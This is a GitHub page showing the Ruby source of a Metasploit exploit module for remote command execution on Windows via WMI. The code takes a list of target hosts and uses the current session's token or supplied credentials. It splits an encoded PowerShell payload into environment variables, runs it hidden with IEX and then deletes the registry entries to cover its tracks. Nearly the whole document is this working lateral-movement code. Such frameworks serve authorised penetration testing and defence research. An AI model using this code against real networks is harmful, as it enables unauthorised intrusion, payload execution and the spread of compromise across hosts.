Permalink
Cannot retrieve contributors at this time
Name already in use
A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?
metasploit-framework/modules/exploits/windows/local/wmi.rb
Go to fileThis commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
160 lines (140 sloc)
5 KB
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
## | |
# This module requires Metasploit: https://metasploit.com/download | |
# Current source: https://github.com/rapid7/metasploit-framework | |
## | |
class MetasploitModule < Msf::Exploit::Local | |
Rank = ExcellentRanking | |
include Msf::Exploit::Powershell | |
include Msf::Post::Windows::ExtAPI | |
include Msf::Post::Windows::WMIC | |
def initialize(info={}) | |
super( update_info( info, | |
'Name' => 'Windows Management Instrumentation (WMI) Remote Command Execution', | |
'Description' => %q{ | |
This module executes powershell on the remote host using the current | |
user credentials or those supplied. Instead of using PSEXEC over TCP | |
port 445 we use the WMIC command to start a Remote Procedure Call on | |
TCP port 135 and an ephemeral port. Set ReverseListenerComm to tunnel | |
traffic through that session. | |
The result is similar to psexec but with the added benefit of using | |
the session's current authentication token instead of having to know | |
a password or hash. | |
The remote host must be configured to allow remote Windows Management | |
Instrumentation. | |
}, | |
'License' => MSF_LICENSE, | |
'Author' => [ | |
'Ben Campbell' | |
], | |
'References' => | |
[ | |
[ 'CVE', '1999-0504'], # Administrator with no password (since this is the default) | |
[ 'OSVDB', '3106'], | |
[ 'URL', 'http://passing-the-hash.blogspot.co.uk/2013/07/WMIS-PowerSploit-Shells.html' ], | |
], | |
'DefaultOptions' => | |
{ | |
'EXITFUNC' => 'thread', | |
'WfsDelay' => '15', | |
}, | |
'DisclosureDate' => '1999-01-01', | |
'Platform' => [ 'win' ], | |
'SessionTypes' => [ 'meterpreter' ], | |
'Targets' => | |
[ | |
[ 'Automatic', { 'Arch' => [ARCH_X86, ARCH_X64] } ], | |
], | |
'DefaultTarget' => 0 | |
)) | |
register_options([ | |
OptAddressRange.new("RHOSTS", [ true, "Target address range or CIDR identifier" ]), | |
# Move this out of advanced | |
OptString.new('ReverseListenerComm', [ false, 'The specific communication channel to use for this listener']) | |
]) | |
deregister_options("RHOST") | |
end | |
def exploit | |
if datastore['SMBUser'] and datastore['SMBPass'].nil? | |
fail_with(Failure::BadConfig, "Need both username and password set.") | |
end | |
Rex::Socket::RangeWalker.new(datastore["RHOSTS"]).each do |server| | |
run_host(server) | |
end | |
end | |
def run_host(server) | |
if session.extapi | |
psh_options = { :remove_comspec => true, | |
:encode_final_payload => true } | |
else | |
psh_options = { :remove_comspec => true, | |
:encode_inner_payload => true, | |
:wrap_double_quotes => true } | |
end | |
psh = cmd_psh_payload(payload.encoded, | |
payload_instance.arch.first, | |
psh_options) | |
begin | |
if session.extapi | |
exec_cmd = psh | |
else | |
# Get the PSH Payload and split it into bitesize chunks | |
# 1024 appears to be the max value allowed in env vars | |
print_status("[#{server}] Storing payload in environment variables") | |
chunks = split_code(psh, 1000) | |
env_name = rand_text_alpha(rand(3)+3) | |
env_vars = [] | |
0.upto(chunks.length-1) do |i| | |
env_vars << "#{env_name}#{i}" | |
c = "cmd /c SETX #{env_vars[i]} \"#{chunks[i]}\" /m" | |
result = wmic_command(c, server) | |
unless result | |
print_error("[#{server}] WMIC command error - skipping host") | |
return false | |
end | |
end | |
x = rand_text_alpha(rand(3)+3) | |
exec_cmd = generate_psh_command_line({ | |
:noprofile => true, | |
:windowstyle => 'hidden', | |
:command => "$#{x}=''" | |
}) | |
env_vars.each do |env| | |
exec_cmd << "+$env:#{env}" | |
end | |
exec_cmd << ";IEX $#{x};" | |
end | |
print_status("[#{server}] Executing payload") | |
result = wmic_command(exec_cmd, server) | |
if result | |
if result[:return] == 0 | |
print_good("[#{server}] Process Started PID: #{result[:pid]}") | |
else | |
print_error("[#{server}] failed, Return Value: #{result[:return]})") | |
end | |
else | |
print_error("[#{server}] failed...)") | |
end | |
unless session.extapi | |
print_status("[#{server}] Cleaning up environment variables") | |
env_vars.each do |env| | |
cleanup_cmd = "cmd /c REG delete \"HKLM\\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment\" /V #{env} /f" | |
wmic_command(cleanup_cmd, server) | |
end | |
end | |
rescue Rex::Post::Meterpreter::RequestError => e | |
print_error("[#{server}] Error moving on... #{e}") | |
return false | |
ensure | |
Rex::sleep(2) | |
end | |
end | |
def split_code(psh, chunk_size) | |
array = [] | |
idx = 0 | |
while (idx < psh.length) | |
array << psh[idx, chunk_size] | |
idx += chunk_size | |
end | |
return array | |
end | |
end | |